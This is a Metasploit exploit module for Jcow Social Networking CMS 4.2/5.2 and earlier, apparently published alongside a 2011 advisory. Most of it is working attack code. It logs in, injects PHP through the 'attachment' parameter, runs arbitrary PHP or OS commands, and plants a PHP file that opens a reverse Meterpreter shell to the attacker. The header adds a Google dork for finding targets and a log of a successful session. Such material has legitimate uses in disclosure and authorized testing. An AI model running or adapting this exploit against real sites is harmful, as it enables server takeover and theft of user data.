Jcow Social Networking Script 4.2 < 5.2 - Arbitrary Code Execution (Metasploit)

# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution
# Google Dork: "intext: Powered by Jcow"
# Date: 2011-08-26
# Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group>
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 <= , 5.x: 5.2 <=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution

#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'JCow CMS Remote Command 
Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the JCow Social Networking CMS.
					In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), 
					authenticated members can trigger php code execution via
					"attachment" parameter.
			},
			'Author'         => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'URL', 'http://www.jcow.net/' ],
					[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'BadChars'    => "\#",
					'Space'       => 4000,
					'Compat'      =>{'ConnectionType' => 'find'},
					'Keys' => ['php']			
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 26 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "JCow directory path", "/"]),
				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
				OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
				OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
				OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
				OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
			], self.class)
	end

	def check
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
				ver = $1
				print_status("Target Jcow version is #{ver}")

				vers = ver.split('.').map { |v| v.to_i }

				if (vers[0] == 5) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 
				elsif (vers[0] == 4) and (vers[1] < 3)
					return Exploit::CheckCode::Vulnerable 			
				elsif (vers[0] < 4) 
						return Exploit::CheckCode::Vulnerable 			
				else
					return Exploit::CheckCode::Safe
				end
		end
		print_error("Unable to determine exploitability. Go 
Exploiting.")
	end
	
	def exploit
		
		uri_base    = ''
		uri_base << datastore['URI']
		uri_base << '/' if uri_base[-1,1] != '/'

	
		cookie = datastore['COOKIE']		
		if (cookie == nil)
			print_status("Trying to login as 
#{datastore['USERNAME']}")
			cookie = get_login_cookie(uri_base)
			if (not cookie)
				raise RuntimeError, 'Unable to login!'
			end
			print_status("Logged in successfully (cookie: 
#{cookie})")
		else
			print_status("Using authenticated cookie:  
#{cookie}")
		end
		
		if (datastore['PHP'])
			print_status("Executing PHP Code: 
#{datastore['PHP']}")
			run_code(uri_base,cookie,datastore['PHP'])
		end
		
		if (datastore['CMD'])
			print_status("Executing CMD: 
#{datastore['CMD']}")
			run_code(uri_base,cookie, datastore['CMD'],'os')
		end
		
		if (datastore['SHELL'])
			print_status("Trying to pwn a shell")
			get_reverse_shell(uri_base,cookie)
		end

	end


	def get_login_cookie(uri_base)

		cookie = nil

		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base +
'?p=member/loginpost',
				'vars_post' =>
					{
						'username' => 
datastore['USERNAME'],
						'password' => 
datastore['PASSWORD']
					}
			})
		if (not res or res.code != 302)
			print_error("Failed to login")
			if (res.body =~ /<script type="text\/javascript" 
src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
				print_error("Recaptcha 
Enabled\r\nProvide Authenticated Cookie")
			end
			return nil
		end

        if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)			
            cookie = $1
		else
			print_error("Unable to get authenticated 
cookie")
			return
        end
        
        cookie
	end

	def run_code(uri_base, cookie, code, mode='php')

		
		cmd = nil
		
		if mode != 'php'
			cmd = 'error_reporting(0);print+`' << 
Rex::Text.to_hex("#{code}",prefix = "%") << '`'
		else
			cmd = 'error_reporting(0);eval(' <<  
code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
		end
		
		
		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + 
'?p=streampublish',
				'data' 		=> data , 
				
				'headers'   =>
					{
							 
							  'Cookie' => 
"PHPSESSID=#{cookie}"
							  
					},
			})	
		if (res)
			if (res.body.to_s.length > 0)		
				is_session_expired(res.body.to_s)	
				print_status("#{mode.upcase} Command 
Output from the server:")
				print("\n" + res.body.to_s + "\n\n")
			else
				print_error("No data returned from the 
server")
			end
		else
			print_error("Connection Timeout from the 
server")
		end
		
	end
	
	def is_session_expired(pg)
		if (pg =~ /please login first/)
			raise RuntimeError, "Your Login has expired"
		end
	end
	
	def get_reverse_shell(uri_base,cookie)
	
		cmd_php = '<?php ' << payload.encoded << ' ?>'

		shell_file =  'files/' + rand_text_alphanumeric(6) << '.php'
		
		shell_url = uri_base + shell_file
		
		print_status("Uploading the payload: " << shell_url )
		
		encoded_shell_file = shell_file.unpack("C*").collect{|x| 
"chr(#{x})"}.join('.')
		
		encoded_payload = payload.encoded

		cmd = "file_put_contents(#{encoded_shell_file}, 
$_SERVER['HTTP_X_CMD'])"

		data = 
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base +
'?p=streampublish',
				'data' 		=> data , 
				
				'headers'   =>
					{
							  'X-CMD' => 
cmd_php,
							  
							  'Cookie' => 
"PHPSESSID=#{cookie}"
							  
					},
			})	

		if (res)
			if (res.code.to_i > 200)
				print_error("Fail to upload : 
#{res.code} #{res.body[0,500].inspect}...")
				return
			elsif (res.code == 200)	
				is_session_expired(res.body.to_s)	
			end			
		end		
		
		
		print_status("Uploaded successfully")
		print_status("Getting the shell")

		res = send_request_raw(
					{
					    'global' => true,
						'uri'    => uri_base + shell_file
						
					})
							

		handler
	
	end

end